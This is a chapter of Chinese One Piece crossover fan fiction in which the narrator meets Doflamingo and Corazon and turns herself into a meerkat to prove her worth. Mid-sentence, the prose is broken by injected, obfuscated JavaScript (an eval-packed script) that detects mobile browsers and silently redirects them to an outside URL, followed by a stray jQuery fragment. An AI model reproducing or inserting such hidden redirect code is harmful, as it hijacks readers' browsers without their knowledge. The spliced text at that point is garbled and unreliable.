“相处的不错嘛,是雏鸟效应吗?”
当柯拉松护着我,我们在一个穿着粉红大氅神似火烈鸟的墨镜男面前站定时,后者扫了我们一眼,第一句便是略带戏谑的调侃。
显然这个人对刚才发生的一切了如指掌。
而我扯了扯柯拉松衣服后摆:“我是雏,还是你是?”
刚测试过其实格外纯情的家伙果不其然又红了耳廓。
“居然是这种类型……”
墨镜男,也就是多弗朗明哥看笑话似的看着我和柯拉松。虽然言语间没明确的嫌弃,他的语气格外让人不爽。
我看着柯拉松因多弗朗明哥的话而冷下脸,似乎原本准备问候的手势转而摸向烟盒。
他取出烟叼在嘴里,一副“如果多弗朗明哥不讲正事,他就不准备用正眼看他”的模样,斜靠坐上旁边的大椅,点燃口中香烟,顺便也把自己的毛领子点燃了!
“……”
我真的毫不意外,还趁机跑上前给他灭火,一边扑打着大黑毛领,一边碧绿清亮的圆眼睛在两个人身上来回滴溜转。
哇哦。
刚才还很腼腆的,柯拉松在我和多弗朗明哥面前还有两副面孔诶。
可按理说,身位唐吉诃德干部之一,他和对方的关系才该更亲密啊?
看来不止玛丽乔亚的天龙人一家有二心,大海上的海贼家族也有各自的小心思。
黑卷发女人的目光在一黑一粉两个羽毛大氅爱好者之间来回转。光看外表,多弗朗明哥就笃定这个将灵动双眼掩藏于打结厚重的刘海之下的女人是个聪明角色。
他并不相信下属汇报所谓罗西南迪和她一见钟情的戏码。但这女人有意接近他的弟弟,他可以确定。
有什么目的呢?海军派来的卧底?
鹤那个女人有一段时间没追上来了啊……
多弗朗明哥在点燃嘴边烟的几秒里想了不少东西。当他视线再度落在我身上,他整个人给我感觉危险了许多。
“恭喜你死里逃生,小姐。”他假惺惺扯起嘴角,“但你应该知道,海贼是不会做白工的。听说你想留下?”
柯拉松坐直了身体。
我眼睛紧盯着问话人的嘴唇,一副努力辨别唇语的模样,在多弗朗明哥双唇完全停止动作后才回答:“是,我想留下。”
“那么,你能给我带来什么价值?”
这话问到我了。
柯拉松已经站起来,他大力挥手,点了点我,随后大拇指朝下,面色不虞。
多弗朗明哥轻笑:“看着确实很弱啊。”
“但罗西你喜欢,我也不是不能给她一个机会。”
呃。有那么一瞬间,我感觉柯拉松和我都被这人故作体贴的语气噎到了!
“来吧,给你十分钟。”多弗朗明哥嘴角勾起,仿佛被我们两人的神情愉悦到,“将你的价值展示给我看。什么方向都可以。”
听着还很宽容,不定向招人的大气感。
我却清楚看见柯拉松的脸紧绷得不行。
展示,展示……我没想到穿越来这么久,还得在工作面试现场做才艺展示。是这么理解吧?
我第一反应就是施展魔力,操控窗外不远处的海水给多弗朗明哥浇个透心凉。既展示了实力——控制海水,对这个世界入海就虚脱的能力者来说是很危险的——又让我解气。
但魔力存量不够了,现实残酷,我现在只有维持粗浅伪装的量。
欸,等一下,伪装
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414188|184670||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
我忽然想起一个集伪装和耗魔量小于一体的不常用咒语,上学时隔壁学院老师最擅长的:
“Animagus!”
肉眼可见的,我在这俩三、四米大高个对比下,本就娇小的身体愈发缩小,缩小,肌肤长出绒绒细毛,脸蛋变尖变短。
仅仅呼吸之间,原本我站着的位置,蹲立了一只狐獴!
抱歉,我也想变小猫之类可爱又好代的动物,但灵魂底色决定我的动物塑是细尾狐獴,也叫猫鼬,勉强和“猫”搭上点边吧。
多弗朗明哥并没有对我错过小说界潮流设定的可惜。
他看着我变身,直到猫鼬的形象落定,他才挑了挑眉颔首道:“动物系果实能力者吗?”
我又在他的示意下蹦跶了两下,多的没做了,吧嗒一下趴到柯拉松脚边:没了,就这点能耐,别寄希望更多。
柯拉松低头看着我蹦跳的样子,没忍住嘴角勾起,轻手抱起了我。
我蹲坐在他掌心,他另一只手靠近的时候,我踮脚蹭了蹭他的大拇指指腹。
“勉勉强强。”多弗朗明哥说,“原本就小,现在更是随便就能掐死。”
柯拉松动作一僵。
我没感觉到多弗朗明哥的排斥,但柯拉松已经站起来,冲对方比划着,强调他更偏向将我送走。
“为什么送走?我亲爱的弟弟,养这只小不点的饭我还是出的起的。”
果然,多弗朗明哥拒绝了他的建议,还复又带上调笑意味,“别把爱慕自己的女人推开啊。分别多年,这方面还需要哥哥来教导你吗?”
呃!
虽然这两句信息量很大。
但我保证柯拉松和我一样真的又被他噎到了!